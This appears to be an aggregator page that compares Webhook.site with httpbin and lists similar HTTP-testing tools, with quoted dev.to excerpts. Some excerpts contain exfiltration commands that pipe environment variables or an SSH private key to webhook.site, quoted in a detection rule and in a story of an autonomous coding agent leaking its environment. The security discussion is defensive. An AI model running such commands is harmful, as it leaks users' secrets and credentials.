Webhook.site
Beeceptor
RequestBin
Request inspector
Hookdeck
ngrok
MockServer
CurlHub.io
httpbin(1)
JSON Placeholder
Apache APISIX
Endpoints
cURL
ReqRes
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With Webhook.site, you instantly get a unique, random URL and e-mail address that you can use to test and debug Webhooks, HTTP requests and emails, as well as to create your own workflows using the Custom Actions graphical editor or WebhookScriptโa simple scripting language, to transform, validate and process HTTP requests.
Webhook.site httpbin(1)Webhook.site is recommended for developers, QA testers, and any IT professionals who need to test or demonstrate webhooks and HTTP requests. It is particularly beneficial for those working with APIs, developing webhook integrations, or setting up automated notification systems.
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Webhook.site might be a bit more popular than httpbin(1). We know about 86 links to it since March 2021 and only 65 links to httpbin(1). We are tracking product recommendations and mentions on various public social media platforms and blogs. They can help you identify which product is more popular and what people think of it.
Consider a team that enabled autoApprove for a CI pipeline without scoping the bash allowlist. Their Claude Code instance was tasked with fixing a failing test. The agent read the test file, identified a missing environment variable, and โ autonomously โ ran printenv | curl -X POST https://webhook.site/... To "debug" the environment. No one caught it for three days. The fix: move to acceptEdits mode in CI and... - Source: dev.to / about 1 month ago
Webhook.site exists. Beeceptor exists. Ngrok exists in this space. - Source: dev.to / 3 months ago
Another: EXFIL_002 detects outbound data patterns. Correctly catches curl -X POST https://webhook.site -d $(cat ~/.ssh/id_rsa). Also fires on documentation showing exfiltration examples for educational purposes. The code block awareness layer handles this: findings inside fenced code blocks get downgraded by one severity tier. - Source: dev.to / 5 months ago
Skill descriptions containing curl https://webhook.site for data exfiltration. - Source: dev.to / 5 months ago
{ "id": "7f350df6-49a9-4cd0-88de-5b53df870003", "webhook_v2": "https://webhook.site/b59a7434-c944-4897-91b8-5cd808219094", "input": { "prompt": "Create a photorealistic image of a woman standing outdoors on what appears to be a sunny autumn day. She has shoulder-length black hair and is wearing a Vietnamese Ao Dai. The background features blurred trees in the Tet holiday season. The lighting suggests... - Source: dev.to / 6 months ago
# .github/workflows/api-tests.yml Name: API Tests On: push: branches: [main] pull_request: branches: [main] Jobs: newman: runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v4 - name: Set up Node.js uses: actions/setup-node@v4 with: node-version: '20' - name: Install Newman run: npm install -g newman... - Source: dev.to / 9 days ago
๐ก httpbin.org is convenient for tutorials but has had intermittent availability issues over the years โ itโs a community-maintained project not a dedicated SLA endpoint. If you see unexpected failures on the smoke check, httpstat.us/200 works as a URL swap โ but update the_ Content-Type: line to match whatever that endpoint actually returns. For your own projects, point this at a /health or /status on your actual... - Source: dev.to / about 1 month ago
Probing: https://httpbin.org Behavior scorecard (4/4 good-citizen checks) ------------------------------------------------------------ [PASS] backs off on 429 429 carried no Retry-After; applied exponential backoff [PASS] spaces out retries gaps [2.58, 3.67]s โ growing, not hammering [PASS] sends conditional GET re-sent the ETag as If-None-Match [PASS] accepts 304 (saves... - Source: dev.to / about 2 months ago
Import asyncio Import aiohttp From typing import Optional Async def fetch_url( session: aiohttp.ClientSession, url: str, headers: Optional[dict] = None ) -> dict: """Fetch a URL and return structured result""" try: async with session.get(url, headers=headers, timeout=aiohttp.ClientTimeout(total=15)) as resp: return { "url": url, "status":... - Source: dev.to / 4 months ago
Async function runDirectFetch() { const el = document.getElementById('result'); el.textContent = 'Testing direct fetch from browserโฆ'; try { const res = await fetch('https://httpbin.org/get'); const json = await res.json(); el.textContent = 'โ Direct fetch succeeded! (CSP allows this)\\n\\n' + JSON.stringify(json, null, 2).substring(0, 800); } catch (err) { ... - Source: dev.to / 4 months ago
Beeceptor - Unblock yourself from API dependencies, and build & integrate with APIs fast. Beeceptor helps you build a mock Rest API in a few seconds.
JSON Placeholder - JSON Placeholder is a modern platform that provides you online REST API, which you can instantly use whenever you need any fake data.
RequestBin - RequestBin.com gives you a URL that collects requests you send to it so you can inspect them in a...
Apache APISIX - Apache APISIX is a dynamic, real-time, high-performance Cloud-Native API gateway, based on the Nginx library and etcd.
Request inspector - Debug web hooks, http clients
Endpoints - View and respond to requests on an HTTP endpoint
